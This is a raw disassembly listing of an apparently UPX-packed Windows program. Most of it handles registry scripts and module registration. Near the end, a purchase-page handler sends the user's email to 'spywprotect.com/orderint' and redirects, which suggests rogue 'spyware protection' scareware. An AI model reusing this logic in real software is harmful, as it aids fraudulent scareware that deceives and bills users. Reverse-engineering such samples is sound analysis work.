--------------------------------------------------------------------------- loc_40828C: ; CODE XREF: sub_4080FF+15j ; sub_4080FF+1Dj mov eax, 80004003h loc_408291: ; CODE XREF: sub_4080FF+7Aj ; sub_4080FF+DCj call sub_40C520 retn sub_4080FF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=1F8Ch sub_408297 proc near ; CODE XREF: sub_4078AB+15Ap var_200C = dword ptr -200Ch var_2008 = dword ptr -2008h var_2004 = word ptr -2004h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-1F8Ch] mov eax, 200Ch call sub_40E000 mov eax, dword_42A034 xor eax, ebp mov [ebp+1F8Ch+var_4], eax and [ebp+1F8Ch+var_200C], 0 push ebx push esi mov esi, edx lea edx, [ebp+1F8Ch+var_200C] mov ebx, esi call sub_4080FF mov ebx, eax test ebx, ebx jl loc_40838A mov eax, [ebp+1F8Ch+var_200C] xor ecx, ecx mov [esi], eax cmp cx, [eax] jz loc_40837F push edi loc_4082E3: ; CODE XREF: sub_408297+138j lea eax, [ebp+1F8Ch+var_2004] mov ecx, esi call sub_407BAF mov ebx, eax test ebx, ebx jl loc_40837E xor edi, edi loc_4082F9: ; CODE XREF: sub_408297+7Fj push off_424510[edi*8] lea eax, [ebp+1F8Ch+var_2004] push eax call dword_41D0A0 ; lstrcmpiW test eax, eax jz loc_4083A3 inc edi cmp edi, 0Eh jb short loc_4082F9 and [ebp+1F8Ch+var_2008], 0 loc_40831C: ; CODE XREF: sub_408297+116j xor edi, edi cmp [ebp+1F8Ch+var_2008], edi jz loc_4083D7 lea eax, [ebp+1F8Ch+var_2004] mov ecx, esi call sub_407BAF mov ebx, eax cmp ebx, edi jl short loc_40837E push 7Bh pop eax cmp ax, [ebp+1F8Ch+var_2004] jnz loc_4083D7 lea eax, [ebp+1F8Ch+var_2004] mov ecx, esi cmp [ebp+1F8Ch+arg_0], edi jz short loc_4083B2 mov edi, [esi] push 0 push [ebp+1F8Ch+arg_0] push [ebp+1F8Ch+var_2008] push eax call sub_4083DE mov ebx, eax test ebx, ebx jge short loc_4083C3 push 0 push 0 push [ebp+1F8Ch+var_2008] lea eax, [ebp+1F8Ch+var_2004] push eax mov ecx, esi mov [esi], edi call sub_4083DE loc_40837E: ; CODE XREF: sub_408297+5Aj ; sub_408297+9Ej ... pop edi loc_40837F: ; CODE XREF: sub_408297+45j push [ebp+1F8Ch+var_200C] call dword_41D39C mov eax, ebx loc_40838A: ; CODE XREF: sub_408297+35j mov ecx, [ebp+1F8Ch+var_4] pop esi xor ecx, ebp pop ebx call sub_40AC1C add ebp, 1F8Ch leave retn 4 ; --------------------------------------------------------------------------- loc_4083A3: ; CODE XREF: sub_408297+75j mov eax, dword_424514[edi*8] mov [ebp+1F8Ch+var_2008], eax jmp loc_40831C ; --------------------------------------------------------------------------- loc_4083B2: ; CODE XREF: sub_408297+B8j push edi push edi push [ebp+1F8Ch+var_2008] push eax call sub_4083DE mov ebx, eax cmp ebx, edi jl short loc_40837E loc_4083C3: ; CODE XREF: sub_408297+D1j call sub_407B8A mov eax, [esi] xor ecx, ecx cmp cx, [eax] jnz loc_4082E3 jmp short loc_40837E ; --------------------------------------------------------------------------- loc_4083D7: ; CODE XREF: sub_408297+8Aj ; sub_408297+A7j mov ebx, 80020009h jmp short loc_40837E sub_408297 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083DE proc near ; CODE XREF: sub_408297+C8p ; sub_408297+E2p ... var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_434 = dword ptr -434h var_430 = dword ptr -430h var_42C = byte ptr -42Ch var_428 = byte ptr -428h var_220 = byte ptr -220h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 004089C4 SIZE 0000000A BYTES push ebp mov ebp, esp and esp, 0FFFFFFF8h push 0FFFFFFFFh push offset loc_41C383 mov eax, large fs:0 push eax sub esp, 438h mov eax, dword_42A034 xor eax, esp mov [esp+444h+var_14], eax push ebx push esi push edi mov eax, dword_42A034 xor eax, esp push eax lea eax, [esp+454h+var_C] mov large fs:0, eax mov eax, [ebp+arg_4] mov edi, [ebp+arg_0] and [esp+454h+var_444], 0 mov [esp+454h+var_43C], ecx mov [esp+454h+var_438], eax mov eax, [ebp+arg_C] and [esp+454h+var_4], 0 mov [esp+454h+var_430], eax mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl loc_4088A3 cmp word ptr [edi], 7Dh jz loc_4088A1 loc_40845B: ; CODE XREF: sub_4083DE+16Fj mov esi, dword_41D0A0 push offset aDelete ; "Delete" push edi mov [esp+45Ch+var_434], 1 call esi ; dword_41D0A0 mov ebx, eax neg ebx push offset aForceremove ; "ForceRemove" sbb ebx, ebx push edi inc ebx call esi ; dword_41D0A0 test eax, eax jz short loc_40848C test ebx, ebx jz loc_408558 loc_40848C: ; CODE XREF: sub_4083DE+A4j mov ecx, [esp+454h+var_43C] mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl loc_408890 cmp [ebp+arg_8], 0 jz loc_408558 push 5Ch mov eax, edi call sub_407B63 pop ecx test eax, eax jnz loc_408966 push edi call sub_408039 test eax, eax jz short loc_4084D9 mov eax, [esp+454h+var_438] push edi lea ecx, [esp+458h+var_440] mov [esp+458h+var_440], eax call sub_40747A loc_4084D9: ; CODE XREF: sub_4083DE+E7j test ebx, ebx jz short loc_408558 mov ecx, [esp+454h+var_43C] mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl loc_408890 mov ecx, [esp+454h+var_43C] call sub_40809A loc_4084FB: ; CODE XREF: sub_4083DE+3ADj mov esi, eax test esi, esi jl loc_408890 loc_408505: ; CODE XREF: sub_4083DE+22Ej ; sub_4083DE+397j cmp word ptr [edi], 7Bh jnz short loc_408549 push edi call dword_41D1F0 ; lstrlenW cmp eax, 1 jnz short loc_408549 mov ecx, [esp+454h+var_43C] push 0 push [ebp+arg_8] push [esp+45Ch+var_444] push edi call sub_4083DE mov esi, eax test esi, esi jl loc_408890 mov ecx, [esp+454h+var_43C] mov eax, edi call sub_407BAF mov esi, eax test esi, esi loc_408543: ; CODE XREF: sub_4083DE+29Aj jl loc_408890 loc_408549: ; CODE XREF: sub_4083DE+12Bj ; sub_4083DE+137j ... cmp word ptr [edi], 7Dh jnz loc_40845B jmp loc_408890 ; --------------------------------------------------------------------------- loc_408558: ; CODE XREF: sub_4083DE+A8j ; sub_4083DE+C7j ... push offset aNoremove ; "NoRemove" push edi call dword_41D0A0 ; lstrcmpiW test eax, eax jnz short loc_408581 and [esp+454h+var_434], eax mov ecx, [esp+454h+var_43C] mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl loc_408890 loc_408581: ; CODE XREF: sub_4083DE+188j push offset aVal ; "Val" push edi xor ebx, ebx call dword_41D0A0 ; lstrcmpiW test eax, eax jnz loc_40867D mov ecx, [esp+454h+var_43C] lea eax, [esp+454h+var_220] call sub_407BAF mov esi, eax test esi, esi jl loc_408890 mov ecx, [esp+454h+var_43C] mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl loc_408890 cmp word ptr [edi], 3Dh jnz loc_408966 cmp [ebp+arg_8], ebx jz short loc_408611 mov eax, [esp+454h+var_438] mov ecx, [esp+454h+var_43C] mov byte ptr [esp+454h+var_4], 1 mov [esp+454h+var_440], eax push edi lea eax, [esp+458h+var_220] push eax lea edx, [esp+45Ch+var_440] call sub_407CD3 mov esi, eax cmp esi, ebx jl loc_408981 mov byte ptr [esp+454h+var_4], bl jmp loc_408505 ; --------------------------------------------------------------------------- loc_408611: ; CODE XREF: sub_4083DE+1F5j cmp [ebp+arg_C], ebx jnz short loc_40866B cmp [esp+454h+var_434], ebx jz short loc_40866B lea eax, [esp+454h+var_440] push eax push 20006h push ebx push ebx push [esp+464h+var_438] mov [esp+468h+var_440], ebx call dword_41D010 ; RegOpenKeyExW cmp eax, ebx jnz loc_408889 mov ebx, [esp+454h+var_440] lea eax, [esp+454h+var_220] push eax push ebx call dword_41D00C ; RegDeleteValueW test eax, eax jz short loc_40865E cmp eax, 2 jnz loc_40898A loc_40865E: ; CODE XREF: sub_4083DE+275j test ebx, ebx jz short loc_408669 push ebx call dword_41D000 ; RegCloseKey loc_408669: ; CODE XREF: sub_4083DE+282j xor ebx, ebx loc_40866B: ; CODE XREF: sub_4083DE+236j ; sub_4083DE+23Cj mov ecx, [esp+454h+var_43C] call sub_40809A mov esi, eax cmp esi, ebx jmp loc_408543 ; --------------------------------------------------------------------------- loc_40867D: ; CODE XREF: sub_4083DE+1B3j push 5Ch mov eax, edi call sub_407B63 pop ecx test eax, eax jnz loc_4089A5 cmp [ebp+arg_8], ebx jz loc_408790 mov esi, dword_41D010 lea eax, [esp+454h+var_440] push eax push 2001Fh push ebx push edi push [esp+464h+var_438] mov [esp+468h+var_440], ebx call esi ; dword_41D010 cmp eax, ebx jnz short loc_4086DC xor eax, eax cmp [esp+454h+var_444], ebx jz short loc_4086CA push [esp+454h+var_444] call dword_41D000 ; RegCloseKey loc_4086CA: ; CODE XREF: sub_4083DE+2E0j mov ebx, [esp+454h+var_440] mov [esp+454h+var_444], ebx test eax, eax jz loc_40875C jmp short loc_4086E0 ; --------------------------------------------------------------------------- loc_4086DC: ; CODE XREF: sub_4083DE+2D8j mov ebx, [esp+454h+var_444] loc_4086E0: ; CODE XREF: sub_4083DE+2FCj and [esp+454h+var_440], 0 lea eax, [esp+454h+var_440] push eax push 20019h push 0 push edi push [esp+464h+var_438] call esi ; dword_41D010 xor esi, esi test eax, eax jnz short loc_408715 cmp ebx, esi jz short loc_408709 push ebx call dword_41D000 ; RegCloseKey loc_408709: ; CODE XREF: sub_4083DE+322j mov ebx, [esp+454h+var_440] mov [esp+454h+var_444], ebx cmp eax, esi jz short loc_40875C loc_408715: ; CODE XREF: sub_4083DE+31Ej lea eax, [esp+454h+var_42C] push eax lea eax, [esp+458h+var_440] push eax push esi push 2001Fh push esi push esi push esi push edi push [esp+474h+var_438] mov [esp+478h+var_440], esi call dword_41D020 ; RegCreateKeyExW cmp eax, esi jnz loc_4089AB xor eax, eax cmp ebx, esi jz short loc_40874C push ebx call dword_41D000 ; RegCloseKey loc_40874C: ; CODE XREF: sub_4083DE+365j mov ebx, [esp+454h+var_440] mov [esp+454h+var_444], ebx cmp eax, esi jnz loc_4089AB loc_40875C: ; CODE XREF: sub_4083DE+2F6j ; sub_4083DE+335j mov ecx, [esp+454h+var_43C] mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl loc_408890 cmp word ptr [edi], 3Dh jnz loc_408505 mov ecx, [esp+454h+var_43C] push edi push 0 lea edx, [esp+45Ch+var_444] call sub_407CD3 jmp loc_4084FB ; --------------------------------------------------------------------------- loc_408790: ; CODE XREF: sub_4083DE+2B4j cmp [ebp+arg_C], ebx jnz short loc_4087D3 lea eax, [esp+454h+var_440] push eax push 20019h push ebx push edi push [esp+464h+var_438] mov [esp+468h+var_440], ebx call dword_41D010 ; RegOpenKeyExW cmp eax, ebx jnz short loc_4087CD xor eax, eax cmp [esp+454h+var_444], ebx jz short loc_4087C5 push [esp+454h+var_444] call dword_41D000 ; RegCloseKey loc_4087C5: ; CODE XREF: sub_4083DE+3DBj mov ecx, [esp+454h+var_440] mov [esp+454h+var_444], ecx loc_4087CD: ; CODE XREF: sub_4083DE+3D3j mov [esp+454h+var_440], eax jmp short loc_4087DB ; --------------------------------------------------------------------------- loc_4087D3: ; CODE XREF: sub_4083DE+3B5j mov [esp+454h+var_440], 2 loc_4087DB: ; CODE XREF: sub_4083DE+3F3j cmp [esp+454h+var_440], ebx jz short loc_4087E8 mov [ebp+arg_C], 1 loc_4087E8: ; CODE XREF: sub_4083DE+401j push 0FFFFFFFFh push edi lea eax, [esp+45Ch+var_428] push 104h push eax call sub_40B4EA push eax call sub_4010F0 ; --------------------------------------------------------------------------- mov ecx, [esp+468h+var_43C] add esp, 14h mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl short loc_408890 mov ecx, [esp+454h+var_43C] call sub_40809A mov esi, eax test esi, esi jl short loc_408890 cmp word ptr [edi], 7Bh jnz short loc_408865 push edi call dword_41D1F0 ; lstrlenW cmp eax, 1 jnz short loc_408865 push [ebp+arg_C] mov ecx, [esp+458h+var_43C] push 0 push [esp+45Ch+var_444] push edi call sub_4083DE mov esi, eax test esi, esi jge short loc_408854 cmp [ebp+arg_C], 0 jz short loc_408890 loc_408854: ; CODE XREF: sub_4083DE+46Ej mov ecx, [esp+454h+var_43C] mov eax, edi call sub_407BAF mov esi, eax test esi, esi jl short loc_408890 loc_408865: ; CODE XREF: sub_4083DE+449j ; sub_4083DE+455j mov eax, [esp+454h+var_430] mov [ebp+arg_C], eax mov eax, [esp+454h+var_440] cmp eax, 2 jz loc_408549 xor ebx, ebx cmp eax, ebx jz short loc_4088C9 cmp [esp+454h+var_430], ebx jnz loc_408549 loc_408889: ; CODE XREF: sub_4083DE+25Aj ; sub_4083DE+57Dj call sub_4072B2 mov esi, eax loc_408890: ; CODE XREF: sub_4083DE+BDj ; sub_4083DE+10Ej ... cmp [esp+454h+var_444], 0 loc_408895: ; CODE XREF: sub_4083DE+5A7j jz short loc_4088A1 push [esp+454h+var_444] call dword_41D000 ; RegCloseKey loc_4088A1: ; CODE XREF: sub_4083DE+77j ; sub_4083DE:loc_408895j mov eax, esi loc_4088A3: ; CODE XREF: sub_4083DE+6Dj ; sub_4083DE+59Ej ... mov ecx, [esp+454h+var_C] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov ecx, [esp+444h+var_14] xor ecx, esp call sub_40AC1C mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- loc_4088C9: ; CODE XREF: sub_4083DE+49Fj cmp [esp+454h+var_430], ebx jz short loc_40890C push [esp+454h+var_444] call sub_408065 test eax, eax jz short loc_40890C lea eax, [esp+454h+var_428] push eax call sub_408039 test eax, eax jz loc_408549 cmp [esp+454h+var_434], 0 jz loc_408549 lea eax, [esp+454h+var_428] push eax lea ecx, [esp+458h+var_444] call sub_40747A jmp loc_408549 ; --------------------------------------------------------------------------- loc_40890C: ; CODE XREF: sub_4083DE+4EFj ; sub_4083DE+4FCj push [esp+454h+var_444] call sub_408065 mov [esp+454h+var_440], eax cmp [esp+454h+var_444], ebx jz short loc_408935 push [esp+454h+var_444] call dword_41D000 ; RegCloseKey mov [esp+454h+var_444], ebx cmp eax, ebx jnz loc_4089C4 loc_408935: ; CODE XREF: sub_4083DE+53Fj cmp [esp+454h+var_434], ebx jz loc_408549 cmp [esp+454h+var_440], 0 jnz loc_408549 lea eax, [esp+454h+var_428] push eax push [esp+458h+var_438] call dword_41D008 ; RegDeleteKeyW test eax, eax jnz loc_408889 jmp loc_408549 ; --------------------------------------------------------------------------- loc_408966: ; CODE XREF: sub_4083DE+D9j ; sub_4083DE+1ECj cmp [esp+454h+var_444], 0 loc_40896B: ; CODE XREF: sub_4083DE+5CBj jz short loc_408977 push [esp+454h+var_444] call dword_41D000 ; RegCloseKey loc_408977: ; CODE XREF: sub_4083DE:loc_40896Bj mov eax, 80020009h jmp loc_4088A3 ; --------------------------------------------------------------------------- loc_408981: ; CODE XREF: sub_4083DE+221j cmp [esp+454h+var_444], ebx jmp loc_408895 ; --------------------------------------------------------------------------- loc_40898A: ; CODE XREF: sub_4083DE+27Aj call sub_4072B2 mov esi, eax test ebx, ebx jz loc_408890 push ebx call dword_41D000 ; RegCloseKey jmp loc_408890 ; --------------------------------------------------------------------------- loc_4089A5: ; CODE XREF: sub_4083DE+2ABj cmp [esp+454h+var_444], ebx jmp short loc_40896B ; --------------------------------------------------------------------------- loc_4089AB: ; CODE XREF: sub_4083DE+35Bj ; sub_4083DE+378j call sub_4072B2 mov edi, eax cmp ebx, esi jz short loc_4089BD push ebx call dword_41D000 ; RegCloseKey loc_4089BD: ; CODE XREF: sub_4083DE+5D6j mov eax, edi jmp loc_4088A3 sub_4083DE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4083DE loc_4089C4: ; CODE XREF: sub_4083DE+551j call sub_4072B2 jmp loc_4088A3 ; END OF FUNCTION CHUNK FOR sub_4083DE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=9E8h sub_4089CE proc near ; CODE XREF: UPX0:004073DBp var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = dword ptr -0A5Ch var_A58 = byte ptr -0A58h var_A40 = byte ptr -0A40h var_A3C = dword ptr -0A3Ch var_A38 = dword ptr -0A38h var_A34 = byte ptr -0A34h var_624 = word ptr -624h var_622 = word ptr -622h var_20C = byte ptr -20Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-9E8h] sub esp, 0A68h mov eax, dword_42A034 xor eax, ebp mov [ebp+9E8h+var_4], eax mov eax, [ebp+9E8h+arg_0] push ebx push esi push edi mov [ebp+9E8h+var_A3C], eax mov eax, [ebp+9E8h+arg_4] mov esi, ecx xor ebx, ebx push 6 mov [ebp+9E8h+var_A38], eax pop ecx xor eax, eax mov [ebp+9E8h+var_A68], offset off_424BDC mov [ebp+9E8h+var_A64], ebx mov [ebp+9E8h+var_A60], ebx mov [ebp+9E8h+var_A5C], ebx lea edi, [ebp+9E8h+var_A58] rep stosd lea ecx, [ebp+9E8h+var_A58] mov [ebp+9E8h+var_A40], bl call sub_401154 cmp eax, ebx jl short loc_408A35 mov [ebp+9E8h+var_A40], 1 cmp esi, ebx jz short loc_408A71 jmp short loc_408A6B ; --------------------------------------------------------------------------- loc_408A35: ; CODE XREF: sub_4089CE+5Bj ; sub_4089CE+B1j ... mov esi, eax loc_408A37: ; CODE XREF: sub_4089CE+E7j ; sub_4089CE+13Bj lea ecx, [ebp+9E8h+var_A68] call sub_4077EF mov ecx, [ebp+9E8h+var_4] pop edi mov eax, esi pop esi xor ecx, ebp pop ebx call sub_40AC1C add ebp, 9E8h leave retn 0Ch ; --------------------------------------------------------------------------- loc_408A5B: ; CODE XREF: sub_4089CE+A1j push dword ptr [esi+4] push eax lea eax, [ebp+9E8h+var_A68] push eax call sub_40783F add esi, 8 loc_408A6B: ; CODE XREF: sub_4089CE+65j mov eax, [esi] cmp eax, ebx jnz short loc_408A5B loc_408A71: ; CODE XREF: sub_4089CE+63j mov ecx, [ebp+9E8h+var_A3C] mov eax, [ecx] lea edx, [ebp+9E8h+var_A68] push edx call dword ptr [eax+14h] cmp eax, ebx jl short loc_408A35 call off_42A000 mov edi, dword_42E350 mov esi, 104h push esi lea eax, [ebp+9E8h+var_20C] push eax push edi call dword_41D1FC ; GetModuleFileNameW cmp eax, ebx jnz short loc_408AAC call sub_40119F jmp short loc_408A35 ; --------------------------------------------------------------------------- loc_408AAC: ; CODE XREF: sub_4089CE+D5j cmp eax, esi jnz short loc_408AB7 mov esi, 8007007Ah jmp short loc_408A37 ; --------------------------------------------------------------------------- loc_408AB7: ; CODE XREF: sub_4089CE+E0j lea edx, [ebp+9E8h+var_20C] mov eax, 208h lea ecx, [ebp+9E8h+var_A34] call sub_40738B cmp edi, ebx jz short loc_408ADE push ebx call dword_41D078 ; GetModuleHandleW cmp edi, eax jz short loc_408ADE lea eax, [ebp+9E8h+var_A34] jmp short loc_408B38 ; --------------------------------------------------------------------------- loc_408ADE: ; CODE XREF: sub_4089CE+FEj ; sub_4089CE+109j push 22h pop eax mov [ebp+9E8h+var_624], ax lea eax, [ebp+9E8h+var_A34] push eax lea eax, [ebp+9E8h+var_622] push 20Bh push eax call sub_4010AC add esp, 0Ch test al, al jnz short loc_408B0E mov esi, 80004005h jmp loc_408A37 ; --------------------------------------------------------------------------- loc_408B0E: ; CODE XREF: sub_4089CE+134j lea eax, [ebp+9E8h+var_624] push eax call dword_41D1F0 ; lstrlenW add eax, eax push 22h pop ecx mov [ebp+eax+9E8h+var_624], cx xor ecx, ecx mov [ebp+eax+9E8h+var_622], cx lea eax, [ebp+9E8h+var_624] loc_408B38: ; CODE XREF: sub_4089CE+10Ej push eax push offset aModule ; "Module" lea eax, [ebp+9E8h+var_A68] push eax call sub_40783F cmp eax, ebx jl loc_408A35 lea eax, [ebp+9E8h+var_A34] push eax push offset aModule_raw ; "Module_Raw" lea eax, [ebp+9E8h+var_A68] push eax call sub_40783F cmp eax, ebx jl loc_408A35 call off_42A000 mov edx, [ebp+9E8h+var_A38] cmp [ebp+9E8h+arg_8], ebx jz short loc_408B8C cmp edx, ebx jz short loc_408B82 push 1 jmp short loc_408B91 ; --------------------------------------------------------------------------- loc_408B82: ; CODE XREF: sub_4089CE+1AEj ; sub_4089CE+1C0j mov eax, 80070057h jmp loc_408A35 ; --------------------------------------------------------------------------- loc_408B8C: ; CODE XREF: sub_4089CE+1AAj cmp edx, ebx jz short loc_408B82 push ebx loc_408B91: ; CODE XREF: sub_4089CE+1B2j push offset off_4245A8 lea eax, [ebp+9E8h+var_A68] push eax lea ecx, [ebp+9E8h+var_20C] call sub_4078AB jmp loc_408A35 sub_4089CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=9E4h sub_408BAA proc near ; CODE XREF: UPX0:004073F3p var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = dword ptr -0A5Ch var_A58 = dword ptr -0A58h var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = dword ptr -0A38h var_A34 = byte ptr -0A34h var_624 = word ptr -624h var_622 = word ptr -622h var_20C = byte ptr -20Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-9E4h] sub esp, 0A64h mov eax, dword_42A034 xor eax, ebp mov [ebp+9E4h+var_4], eax mov eax, [ebp+9E4h+arg_0] push ebx push esi push edi mov esi, ecx xor ebx, ebx push 6 mov [ebp+9E4h+var_A38], eax pop ecx xor eax, eax mov [ebp+9E4h+var_A64], offset off_424BDC mov [ebp+9E4h+var_A60], ebx mov [ebp+9E4h+var_A5C], ebx mov [ebp+9E4h+var_A58], ebx lea edi, [ebp+9E4h+var_A54] rep stosd lea ecx, [ebp+9E4h+var_A54] mov [ebp+9E4h+var_A3C], bl call sub_401154 cmp eax, ebx jl short loc_408C08 mov [ebp+9E4h+var_A3C], 1 cmp esi, ebx jz short loc_408C44 jmp short loc_408C3E ; --------------------------------------------------------------------------- loc_408C08: ; CODE XREF: sub_408BAA+52j ; sub_408BAA+A8j ... mov esi, eax loc_408C0A: ; CODE XREF: sub_408BAA+DEj ; sub_408BAA+132j lea ecx, [ebp+9E4h+var_A64] call sub_4077EF mov ecx, [ebp+9E4h+var_4] pop edi mov eax, esi pop esi xor ecx, ebp pop ebx call sub_40AC1C add ebp, 9E4h leave retn 0Ch ; --------------------------------------------------------------------------- loc_408C2E: ; CODE XREF: sub_408BAA+98j push dword ptr [esi+4] push eax lea eax, [ebp+9E4h+var_A64] push eax call sub_40783F add esi, 8 loc_408C3E: ; CODE XREF: sub_408BAA+5Cj mov eax, [esi] cmp eax, ebx jnz short loc_408C2E loc_408C44: ; CODE XREF: sub_408BAA+5Aj mov ecx, [ebp+9E4h+var_A38] mov eax, [ecx] lea edx, [ebp+9E4h+var_A64] push edx call dword ptr [eax+14h] cmp eax, ebx jl short loc_408C08 call off_42A000 mov edi, dword_42E350 mov esi, 104h push esi lea eax, [ebp+9E4h+var_20C] push eax push edi call dword_41D1FC ; GetModuleFileNameW cmp eax, ebx jnz short loc_408C7F call sub_40119F jmp short loc_408C08 ; --------------------------------------------------------------------------- loc_408C7F: ; CODE XREF: sub_408BAA+CCj cmp eax, esi jnz short loc_408C8A mov esi, 8007007Ah jmp short loc_408C0A ; --------------------------------------------------------------------------- loc_408C8A: ; CODE XREF: sub_408BAA+D7j lea edx, [ebp+9E4h+var_20C] mov eax, 208h lea ecx, [ebp+9E4h+var_A34] call sub_40738B cmp edi, ebx jz short loc_408CB1 push ebx call dword_41D078 ; GetModuleHandleW cmp edi, eax jz short loc_408CB1 lea eax, [ebp+9E4h+var_A34] jmp short loc_408D0B ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_408BAA+F5j ; sub_408BAA+100j push 22h pop eax mov [ebp+9E4h+var_624], ax lea eax, [ebp+9E4h+var_A34] push eax lea eax, [ebp+9E4h+var_622] push 20Bh push eax call sub_4010AC add esp, 0Ch test al, al jnz short loc_408CE1 mov esi, 80004005h jmp loc_408C0A ; --------------------------------------------------------------------------- loc_408CE1: ; CODE XREF: sub_408BAA+12Bj lea eax, [ebp+9E4h+var_624] push eax call dword_41D1F0 ; lstrlenW add eax, eax push 22h pop ecx mov [ebp+eax+9E4h+var_624], cx xor ecx, ecx mov [ebp+eax+9E4h+var_622], cx lea eax, [ebp+9E4h+var_624] loc_408D0B: ; CODE XREF: sub_408BAA+105j push eax push offset aModule ; "Module" lea eax, [ebp+9E4h+var_A64] push eax call sub_40783F cmp eax, ebx jl loc_408C08 lea eax, [ebp+9E4h+var_A34] push eax push offset aModule_raw ; "Module_Raw" lea eax, [ebp+9E4h+var_A64] push eax call sub_40783F cmp eax, ebx jl loc_408C08 call off_42A000 cmp [ebp+9E4h+arg_8], ebx jz short loc_408D6C push 1 loc_408D4C: ; CODE XREF: sub_408BAA+1C3j movzx edx, [ebp+9E4h+arg_4] push offset off_4245A8 lea eax, [ebp+9E4h+var_A64] push eax lea ecx, [ebp+9E4h+var_20C] call sub_4078AB jmp loc_408C08 ; --------------------------------------------------------------------------- loc_408D6C: ; CODE XREF: sub_408BAA+19Ej push ebx jmp short loc_408D4C sub_408BAA endp ; =============== S U B R O U T I N E ======================================= sub_408D6F proc near ; CODE XREF: sub_409533+44p ; sub_409BC7+44p ... arg_0 = dword ptr 4 xor eax, eax push eax push eax push [esp+8+arg_0] mov byte ptr [esi], 1 push eax call dword_41D09C ; CreateEventW mov [esi+4], eax mov eax, esi retn 4 sub_408D6F endp ; --------------------------------------------------------------------------- loc_408D89: ; CODE XREF: UPX0:0041C6C6j ; UPX0:0041C781j ... cmp byte ptr [eax], 0 jz short locret_408D97 push dword ptr [eax+4] call dword_41D0A8 ; CloseHandle locret_408D97: ; CODE XREF: UPX0:00408D8Cj retn ; =============== S U B R O U T I N E ======================================= sub_408D98 proc near ; CODE XREF: sub_417588+BBp push 0 mov eax, offset loc_41C6EE call sub_40C46D mov esi, [ebp+8] push offset aPurchase_htm ; "purchase.htm" push esi call sub_418A96 and dword ptr [ebp-4], 0 xor ecx, ecx push ecx mov eax, offset sub_408E29 push eax push 1 push offset aFirst ; "first" mov ecx, esi mov dword ptr [esi], offset off_424BF8 mov dword ptr [esi+24h], (offset loc_424C0F+5) call sub_418122 xor ecx, ecx push ecx mov eax, offset sub_408F0F push eax push 1 push offset aHandshake ; "handshake" mov ecx, esi call sub_418122 xor ecx, ecx push ecx mov eax, offset sub_408F59 push eax push 1 push offset aSetemail ; "setemail" mov ecx, esi call sub_418122 xor ecx, ecx push ecx mov eax, offset sub_408FB6 push eax push 1 push offset aInstallerurl ; "installerurl" mov ecx, esi call sub_418122 mov eax, esi call sub_40C50C retn 4 sub_408D98 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E29 proc near ; DATA XREF: sub_408D98+21o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi push 200h push 1 mov [ebp+var_8], ecx call sub_40B5BD mov ebx, eax pop ecx mov eax, offset aHttpSpywprotec ; "http://spywprotect.com/orderint?prodid="... mov edx, ebx pop ecx sub edx, eax loc_408E4D: ; CODE XREF: sub_408E29+30j movzx ecx, word ptr [eax] mov [edx+eax], cx inc eax inc eax test cx, cx jnz short loc_408E4D mov edi, ebx dec edi dec edi loc_408E5F: ; CODE XREF: sub_408E29+3Fj mov ax, [edi+2] inc edi inc edi test ax, ax jnz short loc_408E5F mov esi, offset aR ; "&r=" movsd movsd mov edi, ebx dec edi dec edi loc_408E75: ; CODE XREF: sub_408E29+55j mov ax, [edi+2] inc edi inc edi test ax, ax jnz short loc_408E75 mov esi, offset a16_0 ; "16.0" movsd movsd movsw call sub_41709B mov [ebp+var_4], eax test eax, eax jz short loc_408EE6 call sub_4170DD test al, al jnz short loc_408EE6 mov edi, ebx dec edi dec edi loc_408EA2: ; CODE XREF: sub_408E29+82j mov ax, [edi+2] inc edi inc edi test ax, ax jnz short loc_408EA2 mov eax, [ebp+var_4] mov esi, offset aEmail ; "&email=" movsd movsd movsd movsd mov edx, eax loc_408EBB: ; CODE XREF: sub_408E29+9Aj mov cx, [eax] inc eax inc eax test cx, cx jnz short loc_408EBB sub eax, edx mov edi, ebx dec edi dec edi loc_408ECB: ; CODE XREF: sub_408E29+ABj mov cx, [edi+2] inc edi inc edi test cx, cx jnz short loc_408ECB mov ecx, eax shr ecx, 2 mov esi, edx rep movsd mov ecx, eax and ecx, 3 rep movsb loc_408EE6: ; CODE XREF: sub_408E29+6Aj ; sub_408E29+73j lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push 1 push offset aRedir ; "redir" mov [ebp+var_4], ebx call sub_417FE1 push ebx call sub_40ADC8 pop ecx pop edi pop esi mov eax, offset aTrue ; "true" pop ebx leave retn 8 sub_408E29 endp ; =============== S U B R O U T I N E ======================================= sub_408F0F proc near ; DATA XREF: sub_408D98+45o arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push dword ptr 